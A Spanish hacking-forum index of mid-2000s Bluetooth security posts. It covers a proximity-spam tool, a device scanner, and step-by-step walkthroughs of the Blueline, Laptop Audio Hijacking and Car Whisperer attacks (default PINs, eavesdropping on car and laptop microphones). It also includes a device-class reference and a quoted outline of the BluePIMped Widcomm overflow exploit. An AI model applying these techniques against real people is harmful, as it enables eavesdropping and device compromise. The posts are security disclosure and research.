elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


  Mostrar Temas
Páginas: 1 [2] 3
11  Comunicaciones / Hacking Mobile / BlueZSpammer: Marketing de proximidad con un HotSpot Bluetooth casero en: 24 Septiembre 2006, 00:49 am
BlueZSpammer: Marketing de proximidad con un HotSpot Bluetooth casero

La página web oficial de la herramienta es: http://gospel.endorasoft.es/bluetooth/especificacion-bluetooth/bluez/bluezspammer.html

Video Demo de BlueZScanner: http://youtube.com/watch?v=CVlxplbgxeM



Marketing de Proximidad basado en Bluetooth

Se denomina Marketing de Proximidad basado en Bluetooth al envío de contenidos de información y publicidad a teléfonos móviles Bluetooth como estrategia de promoción por parte de algunas marcas corporativas.

Algunas compañías han desarrollado campañas de publicidad en las calles basadas en el envío masivo de publicidad directa al teléfono móvil a través de Bluetooth. Emplean dispositivos emisores colocados en puntos estratégicos de elevado tránsito de personas capaces de enviar en un rango de 100 metros paquetes de publicidad personalizados que se adecuan al modelo de teléfono móvil que recibe la información.

Muchas instituciones, tales como ayuntamientos, han comprobado el éxito de este tipo de estrategias y han instalado sistemas de envío de información en puntos de interés general, como zonas turísticas, aeropuertos e intercambiadores de transporte público, edificios históricos y museos.




¿Cómo funciona el Marketing de Proximidad?

El Marketing de Proximidad basado en Bluetooth hace uso fundamentalmente del Perfil de Carga de Objetos (OBEX Object Push) disponible en la mayoría de teléfonos móviles y smart phones. Por lo general, el acceso a este Perfil requiere autorizaciónpero no autenticación. Esto significa que no es necesario que los dispositivos se encuentren emparejados, simplemente basta que el usuario del dispositivo destino autorice el envío de archivos del dispositivo origen.

El funcionamiento de un HotSpot Bluetooth capaz de enviar spam es bastante sencillo. Su tarea es descubrir otros dispositivos Bluetooth activos en su radio de cobertura y proceder al envío de objetos de información con conexiones a través del Perfil de Carga de Objetos (OBEX Object Push).

Los objetos de información enviados por el HotSpot Bluetooth pueden ser de diversa naturaleza y adaptables en función del modelo de teléfono móvil que vaya a recibir el archivo. Así, el objeto a enviar puede tratarse de un archivo de texto, una imagen, un archivo de audio, un video o incluso un paquete instalable con contenidos de publicidad, como un tema para el interfaz o un salvapantallas. El nivel de sofisticación del HotSpot para personalizar contenidos al teléfono móvil destino dependerá de su capacidad para identificar el modelo de dispositivo y conocer los tipos de archivos soportados por su sistema operativo.


BlueZSpammer, el HotSpot Bluetooth basado en BlueZ

BlueZSpammer es un sencillo HotSpot capaz de enviar archivos a teléfonos móviles y smart phones Bluetooth con soporte para el Perfil de Carga de Objetos (OBEX Object Push). Utiliza la pila de protocolos BlueZ para Linux y está desarrollado en lenguaje C.




Requisitos para funcionar:
- PC + módulo Bluetooth
- Linux
- BlueZ
- OpenObex

Implementa las siguientes funciones:
- Detección de dispositivos Bluetooth cercanos.
- Filtro de teléfonos móviles y smart phones.
- Modo Demo, solo descubre dispositivos susceptibles de recibir spam.
- Filtro de códigos MAC de fabricantes de chips Bluetooth, para enfocar el público de dispositivos destino. (Opcional)
- Envío de archivos a través del Perfil de Carga de Objetos (OBEX Object Push) con ayuda de ObexPush.

El código fuente de BlueZSpammer se distribuye libremente bajo licencia GNU.
Se necesita tener instalados los paquetes de librerías bluez-libs-devel, openobex y openobex-apps (dependientes de cada distribución Linux).

BlueZSpammer es una herramienta desarrollada con fines científicos y educacionales. No debe ser utilizada como herramienta de spam en lugares públicos con fines comerciales o de fastidio para otras personas.
El autor no tiene ninguna responsabilidad sobre el uso que pueda darse a esta herramienta.

Herramienta: BlueZSpammer







12  Comunicaciones / Hacking Mobile / Vuelve Bluehack: the Spanish Bluetooth Security Group en: 8 Septiembre 2006, 04:01 am
El grupo Bluehack dedicado al estudio de la Seguridad en Bluetooth y a la publicación de documentación en castellano vuelve a estar operativo.



Por ahora, la web de Bluehack ofrece un repositorio de herramientas y documentos relacionados con la Seguridad en Bluetooth publicados por diversos autores, entre los que destacan algunos de origen hispano.

En el futuro, Bluehack servirá como plataforma de lanzamiento de proyectos realizados conjuntamente por miembros del Bluehack Team.


Participa en Bluehack!

Bluehack quiere motivar a los aficionados a la seguridad en Bluetooth a publicar material, ya sea documentación en castellano o aplicaciones para ataques de prueba de concepto, y notificarnos acerca de su trabajo para que la información pueda ser difundida libremente.

Así mismo, buscamos expertos en Seguridad en Bluetooth para entrar a formar parte del Bluehack Team. ¿Te animas?


La web oficial del grupo Bluehack es http://bluehack.endorasoft.es

El grupo Bluehack también dispone de un portal con abundante información sobre la especificación del estándar Bluetooth y aspectos relacionados con la seguridad: http://bluehack.elhacker.net

Saludos
13  Comunicaciones / Hacking Mobile / [Bluetooth] Ataque Blueline contra un Motorola RAZR V3 en: 12 Agosto 2006, 03:00 am
El advisory de la vulnerabilidad original se encuentra en http://www.digitalmunition.com/DMA[2006-0321a].txt
El ataque descrito por Kevin Finisterre se realiza contra un Motorola PEBL U6.

La documentación del ataque con capturas del test llevado a cabo con un Motorola RAZR V3 se encuentra en http://gospel.endorasoft.es/bluetooth/seguridad-bluetooth/blueline.html


Ataque Blueline





El objetivo del ataque Blueline es la conexión al Perfil de Pasarela de Voz (Voice Gateway Profile) con el fin de ejecutar comandos AT en el terminal. El Perfil de Pasarela de Voz, accesible a través del canal 3, es un perfil que requiere autorización, aunque no autenticación.




Los nuevos modelos de Motorola, como PEBL U6 y RAZR V3, deniegan automáticamente (sin intervención explícita del usuario) un intento de conexión proveniente de cualquier dispositivo Bluetooth no conocido (que no aparece en el histórico de dispositivos conectados anteriormente).




Con el fin de evitar este problema, el ataque Blueline implementa una variación del ataque HeloMoto.

La vulnerabilidad que explota HeloMoto se basa una implementación incorrecta de la gestión de la lista de dispositivos de confianza en algunos teléfonos móviles Motorola antiguos. El ataque HeloMoto se lleva a cabo enviando una tarjeta de visita o vCard a través del Perfil de Carga de Objetos (OBEX Object Push). De forma automática y sin necesidad de interacción por parte del usuario propietario del teléfono móvil, el dispositivo atacante es añadido a la lista de dispositivos de confianza del terminal, aunque el proceso de envío haya sido interrumpido por el atacante antes de llegar a su fin. El atacante obtiene así privilegios para conectarse a servicios que requieran autorización, aunque no autenticación.

Sin embargo, la funcionalidad del ataque HeloMoto en los modelos de Motorola PEBL U6 y RAZR V3 varía respecto a los modelos antiguos, ya que estos nuevos no son vulnerables al ataque HeloMoto en sí. Llevando a cabo un ataque HeloMoto, el dispositivo atacante no es añadido automáticamente a la lista de dispositivos de confianza del teléfono móvil, pero sí que es añadido al histórico de dispositivos conectados anteriormente, suficiente para que cualquier intento de conexión posterior no sea denegado automáticamente por el teléfono móvil.




De este modo y en adelante, las conexiones entrantes al teléfono móvil desde el dispositivo atacante serán notificadas al usuario para que confirme explícitamente su autorización. No obstante, la notificación informará al usuario del nombre del dispositivo origen y es bastante probable que el usuario deniegue tal conexión si el nombre del dispositivo resulta sospechoso o simplemente por conducta preventiva.




La cuestión reside en persuadir al usuario del teléfono móvil para que confirme la autorización de conexión al perfil.

La originalidad del ataque Blueline consiste en provocar una falsificación o spoofing del interfaz sustituyendo el mensaje original de la ventana de notificación de conexión entrante por cualquier texto deseado con sólo modificar el nombre del dispositivo atacante por una cadena de caracteres maliciosa. Esta cadena de caracteres puede contener caracteres 0x0d para el salto de línea.




De esta forma, el mensaje de notificación malicioso podría engañar a cualquier usuario de teléfono móvil y forzarle a que aceptara la conexión, en cuyo caso, el dispositivo atacante quedaría autorizado en el teléfono móvil comprometido.






En caso de que el usuario atacado sea engañado y confíe en el aviso mostrado por pantalla, el dispositivo atacante dispondrá de autorización para acceder al Perfil de Pasarela de Voz y ejecutar comandos AT en el terminal comprometido.



En este caso, la consola de envío de comandos AT no disponía de eco local y se han enviado los comandos AT ciegamente.
En la imagen, se han añadido los comandos AT utilizados para mejor comprensión.

Agradecimientos a ANELKAOS por la ayuda para llevar a cabo el test del ataque Blueline.
14  Comunicaciones / Hacking Mobile / Bluetooth en hwagm.elhacker en: 14 Julio 2006, 01:08 am
El amigo Hwagm ha creado una sección de Bluetooth dentro de su página sobre In/Seguridad en Wifi.

http://hwagm.elhacker.net/htm/bluetooth.htm#diente-azul

Me parece lógico q abriera esta nueva sección ya q Bluetooth tb es una tecnología Wireless, aunq aplicada a redes PAN.

No para el tío... ahora extiende su mano para informar sobre seguridad en otros estándares Wireless aparte de WiFi.
15  Comunicaciones / Hacking Mobile / BlueZScanner, BlueZSpammer y otros códigos BlueZ en: 17 Abril 2006, 17:06 pm
BlueZScanner: Escaner de dispositivos Bluetooth basado en BlueZ



BlueZScanner es un sencillo escaner de dispositivos Bluetooth basado en BlueZ. Implementa las siguientes funciones:
      - Descubrimiento de dispositivos Bluetooth cercanos.
      - Resolución del nombre del dispositivo descubierto.
      - Fabricante del chip Bluetooth incorporado en el dispositivo.
      - Análisis del campo Device Class, que identifica la naturaleza del dispositivo descubierto.
      - Análisis de los campos Service Classes, que identifican los servicios ofrecidos por el dispositivo. [Opcional]
      - Detección de Perfiles Bluetooth disponibles en el dispositivo. [Opcional]

El código fuente de BlueZScanner se distribuye libremente bajo licencia GNU. Se necesita tener los paquetes BLUEZ instalados.

La página oficial de la herramienta es http://gospel.endorasoft.es/bluetooth/especificacion-bluetooth/bluez/bluezscanner.html

Herramienta: BlueZScanner


CAPTURAS DE BLUEZSCANNER EN ACCIÓN

# ./bluezscanner -h muestra la ayuda:




# ./bluezscanner detecta dispositivos Bluetooth cercanos y muestra la dirección MAC, el nombre del dispositivo, el fabricante del chip Bluetooth que incorpora y el tipo de dispositivo del que se trata:




# ./bluezscanner -c muestra el informe completo de las Service/Device classes para cada dispositivo detectado:




# ./bluezscanner -p muestra los Perfiles Bluetooth disponibles en cada dispositivo detectado:




# ./bluezscanner -cp muestra ambos informes, el de Service/Device classes y el de Perfiles Bluetooth:





REFERENCIAS

(1) http://www.bluez.org/
(2) http://people.csail.mit.edu/albert/bluez-intro/
(3) https://www.bluetooth.org/foundry/assignnumb/document/baseband
(4) http://www.chaostal.de/cgi-bin/parser.cgi?input=article/bluetooth

Agradecimientos a Sir Graham por la ayuda prestada y el cursillo acelerado de máscaras de bits (Un día de estos lo implemento de una vez...  :)  )
16  Comunicaciones / Hacking Mobile / Laptop Audio Hijacking en: 20 Marzo 2006, 21:02 pm
Página oficial del proyecto: http://gospel.endorasoft.es/bluetooth/seguridad-bluetooth/laptop-audio-hijacking.html


INTRODUCCIÓN


 
La esencia de la vulnerabilidad se encuentra en la posibilidad de conectarse remotamente a un dispositivo Bluetooth y utilizar el perfil Auriculares / Pasarela de Audio sin necesidad de autentificación.

Un ataque con éxito al perfil Auriculares / Pasarela de Audio permitiría a un atacante llevar a cabo las siguientes acciones:
   - Capturar el audio recogido por el micrófono del dispositivo.
   - Inyectar audio que sería reproducido por los altavoces del dispositivo.

Estas acciones, pueden ser utilizadas de forma maliciosa para:
   - Escucha de conversaciones privadas e invasión de la intimidad y privacidad de los usuarios de un dispositivo Bluetooth.
   - Proyección de mensajes de voz por los altavoces de un  dispositivo Bluetooth, para sorpresa de personas cercanas al mismo.

 
METODOLOGÍA DE UN ATAQUE Laptop Audio Hijacking

Las víctimas potenciales de un ataque Laptop Audio Hijacking son todos aquellos usuarios de PC con Windows XP que dispongan de un dispositivo Bluetooth (ya sea incorporado en el Hardware o conectado por USB) soportado por la pila de protocolos Widcomm.



En el caso de usuarios con ordenador portátil (Laptop), el caso es especialmente grave porque estos equipos suelen incorporar micrófonos que permitirían recoger audio de conversaciones próximas. Si un atacante consiguiera comprometer el perfil Auriculares / Pasarela de Audio, tendría acceso al control del micrófono y podría grabar conversaciones privadas.
Si el equipo comprometido no incluyera micrófono, el atacante sólo podría limitarse a inyectar audio que sería proyectado por los altavoces del PC.

La vulnerabilidad que permite llevar a cabo este ataque reside en la posibilidad de que un atacante remoto pueda conectarse al perfil Auriculares / Pasarela de Audio sin necesidad de autentificación porque la configuración por defecto de la pila de protocolos Widcomm así lo establece.



La consecución con éxito de un ataque Laptop Audio Hijacking permitiría a un atacante remoto llevar a cabo las siguientes acciones:

- Capturar el audio recogido por el micrófono del Laptop y escuchar conversaciones privadas.



- Inyectar audio y mensajes de voz que serían reproducidos por los altavoces del PC, para sorpresa de personas cercanas al mismo.
 



DESCRIPCIÓN DEL ATAQUE Laptop Audio Hijacking

1) ESCANEO Y BÚSQUEDA DE UN PC CON BLUETOOTH

En nuestro caso, el PC atacante dispone de un dispositivo Bluetooth USB soportado por la pila de protocolos de Toshiba, por lo que utilizaremos el gestor de conexiones Bluetooth de Toshiba en lugar del gestor de Windows (Mis Sitios Bluetooth). A efectos prácticos, el ataque se desarrolla de igual modo.

Iniciamos el gestor de conexiones Bluetooth y buscamos un dispositivo Bluetooth PC.

 

Accedemos al listado de Perfiles / Servicios Bluetooth ofrecidos por el PC y creamos un acceso directo al perfil Auriculares.

 
       
 
2) CONEXIÓN AL PERFIL DE AURICULARES

 

Aunque no se aprecie en las capturas, el gestor de conexiones Bluetooth no solicita al atacante introducir ningún código PIN para realizar el emparejamiento de dispositivos, ya que como se ha visto, el Perfil Auriculares está configurado por defecto para no solicitar autentificación. Una vez que la conexión se ha llevado a cabo con éxito, la única notificación que recibe el usuario del Laptop comprometido es un aviso en el tray icon de Bluetooth, el cual cambia a color ‘verde’.
La configuración por defecto tampoco establece que una conexión entrante sea notificada al usuario mediante un aviso visual o sonoro.
Esto significa que mientras el ataque se lleva a cabo, es muy improbable que el usuario víctima perciba lo que realmente está ocurriendo.
 
 
3) CAPTURA E INYECCIÓN DE AUDIO EN LAPTOP

A partir de este momento, el atacante estará en disposición de:
   
- Inyectar audio que será reproducido por los altavoces del PC comprometido.

 


 
- Capturar el audio recogido por el micrófono del Laptop y grabarlo en disco.

 



Para poder grabar en disco el audio capturado desde el interfaz Bluetooth podemos hacer uso de la utilidad sndrec32.exe de Windows.
 
 
 
LINKS RELACIONADOS

El proyecto Car Whisperer de Trifinite:
http://trifinite.org/trifinite_stuff_carwhisperer.html

'Widcomm BTW - Bluetooth for Windows Remote Audio Eavesdropping', a paper by Kevin Finisterre:
.txt]http://www.digitalmunition.com/DMA[2005-1214a].txt
17  Comunicaciones / Hacking Mobile / Introducing new Pocket Car Whisperer Attack! en: 25 Enero 2006, 12:27 pm
INTRODUCING NEW POCKET CAR WHISPERER ATTACK

Página oficial del proyecto: http://gospel.endorasoft.es/bluetooth/seguridad-bluetooth/car-whisperer.html#PocketCarWhisperer

PRÓLOGO

El ataque Pocket Car Whisperer es una implementación del ataque Car Whisperer utilizando como plataforma de ataque un equipo PDA Pocket PC.

El objetivo de este proyecto es sensibilizar a los fabricantes de dispositivos Manos Libres Bluetooth para automóvil acerca de la amenaza para la seguridad que supone incorporar claves PIN por defecto como medio para emparejarse con estos dispositivos.

La primera vez que dos dispositivos Bluetooth intentan comunicarse, se utiliza un procedimiento de inicialización denominado emparejamiento para crear una clave de enlace común de forma segura. Esta clave de enlace se genera a partir de una clave de seguridad Bluetooth (clave PIN), que es requerida a cada dispositivo y que debe ser la misma para los dos.
Posteriormente, cuando los mismos dispositivos se comuniquen por Bluetooth, utilizarán la clave de enlace para funciones de autenticación y cifrado.

El hecho de incorporar una clave PIN por defecto en un dispositivo Bluetooth significa que cualquier usuario con conocimiento de esa clave estándar puede emparejarse con el dispositivo y comunicarse con él de forma autorizada.
En el caso de un dispositivo Manos Libres Bluetooth, le permite acceder a las funciones de audio implementadas en el terminal:

- Capturar el audio recogido por el micrófono del dispositivo, lo cual permitiría escuchar conversaciones privadas en el interior del vehículo.



- Inyectar audio que sería reproducido por los altavoces del dispositivo, lo cual permitiría proyectar mensajes de voz a los ocupantes del vehículo.



Es evidente que la consecución de un ataque Car Whisperer con éxito puede comprometer la intimidad y seguridad al volante de los pasajeros de un automóvil con el dispositivo Manos Libres activado.

 
DESCRIPCIÓN DEL ATAQUE POCKET CAR WHISPERER

1) DISPOSITIVOS EMPLEADOS PARA LA DEMOSTRACIÓN

PLATAFORMA ATACANTE: POCKET PC con Windows Mobile 2003



OBJETIVO: Dispositivo Manos Libres Bluetooth


2) ESCANEO Y BÚSQUEDA DE UN DISPOSITIVO MANOS LIBRES BLUETOOH EN MODO VISIBLE

Activamos Bluetooth en la PDA y abrimos el programa gestor de conexiones Bluetooth. Especificamos que el dispositivo a encontrar es un Manos Libres.

   


3) EMPAREJAMIENTO CON EL MANOS LIBRES

El gestor de conexiones Bluetooth encuentra un dispositivo Manos Libres llamado HF009. Intenta conectarse con él y es requerido un proceso de emparejamiento, para lo que se necesita introducir una clave de seguridad Bluetooth.
Para que el emparejamiento tenga éxito, la clave de seguridad debe ser la misma que tiene almacenada por defecto el Manos Libres, suele ser 1234, 0000, 8888…

 


4) CONEXIÓN AL PERFIL DE AURICULARES

Si el emparejamiento se ha producido satisfactoriamente, el gestor de conexiones Bluetooth crea un acceso directo al perfil de auriculares ofrecido por el dispositivo Manos Libres.

 


Nos conectamos al perfil de auriculares.

 


5) CAPTURA E INYECCIÓN DE AUDIO EN EL MANOS LIBRES

Si la conexión se ha realizado con éxito, tendremos acceso a las funciones de audio soportadas por el perfil de auriculares:

- Capturar el audio recogido por el micrófono del dispositivo.
- Inyectar audio que será reproducido por los altavoces del dispositivo.

Para realizar estas funciones de audio, utilizaremos la aplicación Micrófono incluida en Windows Mobile. Originalmente, esta aplicación está diceñada para:

- Tomar notas de voz, que son recogidas por el micrófono de la PDA.
- Reproducir notas de voz grabadas anteriormente.

Nosotros vamos a darle otro uso a esta aplicación, de forma que una vez nos hayamos conectado al perfil de auriculares y se haya creado una pasarela de audio estableciendo enlaces síncronos orientados a conexión (SCO) para la transmisión de audio en ambas direcciones, podremos:

- Activar la aplicación Micrófono de la PDA y capturar/grabar/almacenar el audio recogido por el micrófono del Manos Libres. Esto puede permitirnos tener acceso a conversaciones privadas entre los ocupantes del interior del vehículo objetivo.
- Grabar mensajes de voz por el micrófono de la PDA, que al ser reproducidos durante una sesión de ataque, se proyectarán en el interior del vehículo objetivo a través de los altavoces del Manos Libres, con el consecuente sobresalto del conductor y el resto de pasajeros.

Adicionalmente, cualquier sonido o archivo de audio que sea reproducido en la PDA será proyectado a través de los altavoces del Manos Libres. Esto significa que si reproducimos un archivo de música en el Windows Media Player, el sonido se escuchará en el interior del vehículo objetivo.

   


Para finalizar el ataque, nos desconectamos del dispositivo Manos Libres.


COMENTARIOS SOBRE LA DEMOSTRACIÓN DEL ATAQUE

Durante el experimento se han llevado a cabo los dos tipos de ataque:

- Captura del audio recogido por el micrófono del Manos Libres en el interior del vehículo.
- Inyección de audio que ha sido proyectado por los altavoces del Manos Libres en el interior del vehículo.

En ambos casos, se ha obtenido una distancia máxima de acción en torno a 10 metros a la redonda, suficiente para que esta experiencia pueda ser reproducida en un escenario de ataque real desde otro vehículo o a pie, siempre que nos mantengamos junto al objetivo en ese radio de cobertura.

 


 
RECOMENDACIONES DE SEGURIDAD

Consejos para evitar recibir un ataque Car Whisperer:

- Utilizar Manos Libres cuyo fabricante no haya determinado una clave PIN por defecto para poder realizar el emparejamiento con todos los modelos del dispositivo, sino que cada unidad incorpore una clave PIN aleatoria especificada durante su producción. También sería seguro un dispositivo que incluyese un teclado o similar para que el usuario pudiera especificar individualmente la clave PIN que desea utilizar para el emparejamiento.

- Utilizar Manos Libres que necesiten una configuración manual del mismo para permitir el emparejamiento con otros dispositivos. Existen algunos modelos que se muestran en modo oculto a ojos de dispositivos no emparejados y sólo entran en modo visible a la hora de permitir el emparejamiento, y para ello es necesario apretar una combinación de teclas manualmente en el dispositivo.

- Mantener encendido el Manos Libres únicamente cuando se vaya a utilizar. En cualquier otro caso, tenerlo activado sólo sirve para agotar la batería y ser objetivo potencial de un ataque Car Whisperer.

- Siempre que el Manos Libres esté encendido, debe estar conectado a un teléfono móvil. La mayoría de Manos Libres admiten varios dispositivos emparejados, pero solamente uno conectado. Si el Manos Libres atacado está conectado en ese momento con un teléfono móvil, el atacante no podrá conectarse con éxito al dispositivo, ya que este se encuentra ocupado.

18  Comunicaciones / Hacking Mobile / Identificación de dispositivos Bluetooth [Artículo] en: 16 Diciembre 2005, 20:04 pm
Descargar el artículo en formato pdf:
http://gospel.endorasoft.es/bluetooth/seguridad-bluetooth/Files/Identificacion.Dispositivos.Bluetooth.pdf

1. Introducción

Cuando realizamos algún escaneo de dispositivos Bluetooth con ayuda de herramientas comerciales o, mismamente, con el asistente  de conexiones Bluetooth de Windows, observamos que los dispositivos detectados son mostrados mediante iconos representativos de su naturaleza, ya sean PCs, PDAs, Teléfonos móviles, Manos libres, etc.

Nos preguntamos, ¿cómo será posible conocer el tipo de dispositivo del que se trata? La respuesta es: a través de los DIACs (The General- and Device-Specific Inquiry Access Codes)

2. Class of Device/Service

Cada dispositivo Bluetooth incorpora en la cabecera de nivel de Banda Base (Baseband 1.1) de sus paquetes un campo Class of Device/Service. Este campo se compone de 3 octetos organizados con el siguiente formato (en little endian):
- 11 últimos bits reservados para las Service Classes.
- 11 siguientes bits reservados para las Device Classes.
       - 6 últimos bits reservados para las Major Device Classes.
       - 5 siguientes bits reservados para las Minor Device Classes.
- 2 primeros bits para el campo Format Type, por defecto a 0.

El siguiente esquema resume lo explicado:


Con el fin de poder obtener información del campo Class of Device/Service, los 3 octetos se traducen a un string binario de 24 bits cuya ordenación de 1s y 0s permite identificar los servicios ofrecidos por el dispositivo, así como la naturaleza del mismo.

3. Service Classes (Clases de servicios)

El campo reservado para las Service Classes permite identificar los servicios soportados por el dispositivo. Este campo se compone de 11 bits, del 13 al 23. Cada servicio Bluetooth está asociado a un bit en concreto, de forma que si un determinado bit del campo está a 1, entonces el dispositivo soporta ese servicio Bluetooth. La correspondencia entre nº de bit y servicio se recoge en la siguiente tabla:
Citar
Bit | Major Service Class
13 | Limited Discoverable Mode [Ref #1]
14 | (reserved)
15 | (reserved)
16 | Positioning (Location identification)
17 | Networking (LAN, Ad hoc, ...)
18 | Rendering (Printing, Speaker, ...)
19 | Capturing (Scanner, Microphone, ...)
20 | Object Transfer (v-Inbox, v-Folder, ...)
21 | Audio (Speaker, Microphone, Headset service, ...)
22 | Telephony (Cordless telephony, Modem, Headset service, ...)
23 | Information (WEB-server, WAP-server, ...)

4. Device Classes (Clases de Dispositivos)

El campo reservado para las Device Classes permite identificar la naturaleza del dispositivo. Este campo se compone 2 subcampos: Major Device Classes y Minor Device Classes

4.1 Major Device Classes

El campo reservado para las Major Device Classes permite identificar el tipo genérico de dispositivo. Este campo se compone de 5 bits, del 8 al 12. Cada tipo genérico de dispositivo está asociado a una representación concreta de bits dentro del campo. La correspondencia entre bits y tipos genéricos de dispositivos se recoge en la siguiente tabla:
Citar
12 11 10 9 8 | Major Device Class
 0  0  0  0  0 | Miscellaneous
 0  0  0  0  1 | Computer (desktop,notebook, PDA, organizers, .... )
 0  0  0  1  0 | Phone (cellular, cordless, payphone, modem, ...)
 0  0  0  1  1 | LAN /Network Access point
 0  0  1  0  0 | Audio/Video (headset,speaker,stereo, video display, ...)
 0  0  1  0  1 | Peripheral (mouse, joystick, keyboards, ...)
 0  0  1  1  0 | Imaging (printing, scanner, camera, display, ...)
 0  0  1  1  1 | Wearable (complemento que puedes llevar puesto)
 0  1  0  0  0 | Toy (Juguete)
 1  1  1  1  1 | Uncategorized, specific device code not specified
 X  X  X  X  X | All other values reserved

4.2 Minor Device Classes

El campo reservado para las Minor Device Classes permite identificar el tipo específico de dispositivo. Este campo se compone de 6 bits, del 7 al 2. Cada tipo específico de dispositivo está asociado a una representación concreta de bits dentro del campo. La correspondencia entre bits y tipos específicos de dispositivos, dentro de cada tipo genérico, se recoge en la siguientes tablas:

Computer Major Class
Citar
7  6  5  4  3  2 | Minor Device Class
0  0  0  0  0  0 | Uncategorized, code for device not assigned
0  0  0  0  0  1 | Desktop workstation
0  0  0  0  1  0 | Server-class computer
0  0  0  0  1  1 | Laptop
0  0  0  1  0  0 | Handheld PC/PDA (clam shell)
0  0  0  1  0  1 | Palm sized PC/PDA
0  0  0  1  1  0 | Wearable computer (Watch sized)
X  X  X  X  X  X | All other values reserved

Phone Major Class
Citar
7  6  5  4  3  2 | Minor Device Class
0  0  0  0  0  0 | Uncategorized, code for device not assigned
0  0  0  0  0  1 | Cellular
0  0  0  0  1  0 | Cordless
0  0  0  0  1  1 | Smart phone
0  0  0  1  0  0 | Wired modem or voice gateway
0  0  0  1  0  1 | Common ISDN Access
X  X  X  X  X  X | All other values reserved

Audio/Video Major Class
Citar
7  6  5  4  3  2 | Minor Device Class
0  0  0  0  0  0 | Uncategorized, code for device not assigned
0  0  0  0  0  1 | Wearable Headset Device
0  0  0  0  1  0 | Hands-free Device
0  0  0  0  1  1 | (Reserved)
0  0  0  1  0  0 | Microphone
0  0  0  1  0  1 | Loudspeaker
0  0  0  1  1  0 | Headphones
0  0  0  1  1  1 | Portable Audio
0  0  1  0  0  0 | Car audio
0  0  1  0  0  1 | Set-top box
0  0  1  0  1  0 | HiFi Audio Device
0  0  1  0  1  1 | VCR
0  0  1  1  0  0 | Video Camera
0  0  1  1  0  1 | Camcorder
0  0  1  1  1  0 | Video Monitor
0  0  1  1  1  1 | Video Display and Loudspeaker
0  1  0  0  0  0 | Video Conferencing
0  1  0  0  0  1 | (Reserved)
0  1  0  0  1  0 | Gaming/Toy
X  X  X  X  X  X | All other values reserved

Peripheral Major Class
Citar
7  6 | Minor Device Class
0  0 | Other (Joystick, Gamepad, Remote control, ...)
0  1 | Keyboard
1  0 | Pointing device
1  1 | Combo keyboard/pointing device

Imaging Major Class
Citar
7  6  5  4 | Minor Device Class
X  X  X  1 | Display
X  X  1  X | Camera
X  1  X  X | Scanner
1  X  X  X | Printer
X  X  X  X | All other values reserved


Wereable Major Class
Citar
7  6  5  4  3  2 | Minor Device Class
0  0  0  0  0  0 | Uncategorized, code for device not assigned
0  0  0  0  0  1 | Wrist Watch
0  0  0  0  1  0 | Pager
0  0  0  0  1  1 | Jacket
0  0  0  1  0  0 | Helmet
0  0  0  1  0  1 | Glasses
X  X  X  X  X  X | All other values reserved

Toy Major Class
Citar
7  6  5  4  3  2 | Minor Device Class
0  0  0  0  0  0 | Uncategorized, code for device not assigned
0  0  0  0  0  1 | Robot
0  0  0  0  1  0 | Vehicle
0  0  0  0  1  1 | Doll / Action Figure
0  0  0  1  0  0 | Controller
0  0  0  1  0  1 | Game
X  X  X  X  X  X | All other values reserved


Referencias
https://www.bluetooth.org/foundry/assignnumb/document/baseband
http://trifinite.org/trifinite_stuff_btclass.html
19  Comunicaciones / Hacking Mobile / .: TALLER DE PROGRAMACIÓN en BLUEZ :. en: 6 Diciembre 2005, 02:22 am
Taller orientado al desarrollo de programas relacionados con la Seguridad en Bluetooth en Linux.

Se necesita tener instalados los siguientes paquetes Bluez (a ser posible, las últimas versiones):
- bluez-utils
- bluez-libs
- bluez-libs-devel
20  Comunicaciones / Hacking Mobile / Have you ever been BluePIMped? Exploit para Windows... en: 5 Diciembre 2005, 18:34 pm
Me ha llegado el siguiente email desde Bluetraq.

Se trata de la publicación de un exploit q permite ejecutar código arbitrario en Windows explotando una vulnerabilidad del servicio Bluetooth de Intercambio de tarjetas PIM, el cual no requiere autentificación.

Fuente: http://www.digitalmunition.com/BluePIMped.txt
Exploit: http://www.digitalmunition.com/BluePIMped.diff

Citar
have you ever been BluePIMped?

Exploiting The Widcomm BTStackServer by KF (kf_lists[at]digitalmunition[dot]com)
 
On August 12, 2004 Ryan Naraine of internetnews.com described a serious vulnerability in
Widcomm's widely deployed Bluetooth Connectivity Software. It was said that this new threat
could pave the way for the creation of a wireless worm that spreads between PCs or PDAs
using Bluetooth. (Queue scary music in the background). It is now over a year later and I
have yet to even see signs of an exploit, let alone a worm for either the PC or PDA.
<sarcasm> Consider this document as my donation of a small amount of tar to help pave the
road to a Widcomm Bluetooth worm.</sarcasm>

First let me outline how the Widcomm Bluetooth Stack works. Upon logging in to the Windows
desktop the binary BTTray.exe is launched via the '..\All Users\Start Menu\Programs\Startup'
startup folder. BTTray is responsible for two major tasks, one being the presentation of the
Bluetooth icon in the systray and the other being the launch of BTStackServer.exe. BTTray.exe
also handles events such as informing the user that someone has connected to a particular
Bluetooth service.

Several profiles are offered by the 'Local Services' menu within the BTTray Bluetooth
Configuration screen. Several of the services require pairing prior to use, however by default
no secure connection is required for the PIM Item Transfer. The lack of PIM Transfer security
is likely due to this profile being commonly used to exchange business cards. The lack of a
secure connection will pretty much allow any Bluetooth user to connect to the PIM Item
Transfer service.

Although not explicitly disclosed one of the various malformed service requests that Pentest
Limited discovered was directed at the PIM Item Transfer service. As mentioned in their
advisory Pentest Limited has written a proof of concept exploit for Windows XP and again
although not explicitly disclosed this exploit was for the PIM Item Transfer service. After
many months of frustration and hurdles I have come up with a fairly stable means of blindly
recreating the work of Pentest Limited.

My early work on this project attempted to use a single Unicode encoded buffer to both trigger
this exploit and carry its payload. This technique was completely abandonded after an off the
cup comment about client side Unicode made me come to my senses. One little call to
OBEX_CharToUnicode() can change the playing field quite a bit.

The mechanics of my current exploit are as follows:
1. Use the ascii buffer used for Bluetooth device name to store shellcode. We have up to 248
   bytes.
2. Populate HKLM\SOFTWARE\Widcomm\BTConfig\Devices\XX:XX:XX:XX:XX:XX\Name on remote device with
   shellcode
3. Make use of the remote filename field to trigger the overflow and to hold the repeated
   return addresses
4. Deliver a payload of goodies for all to enjoy.

The first phase of the exploit ensures that we have shellcode in memory at the time we activate
the EIP address. This is done by sending a valid file via PIM Transfer. When a connection is made
the registry is queried for the device name. If this name exists it will be used in the
notification balloon that indicates a connection was made. If no registry entry is available
<No Name> will be used and a query to resolve the name will be placed.

This portion of the population phase can be recognised by the following message.
Bluetooth device '<No Name>' is connected to the 'PIM Item Transfer' service on this computer.

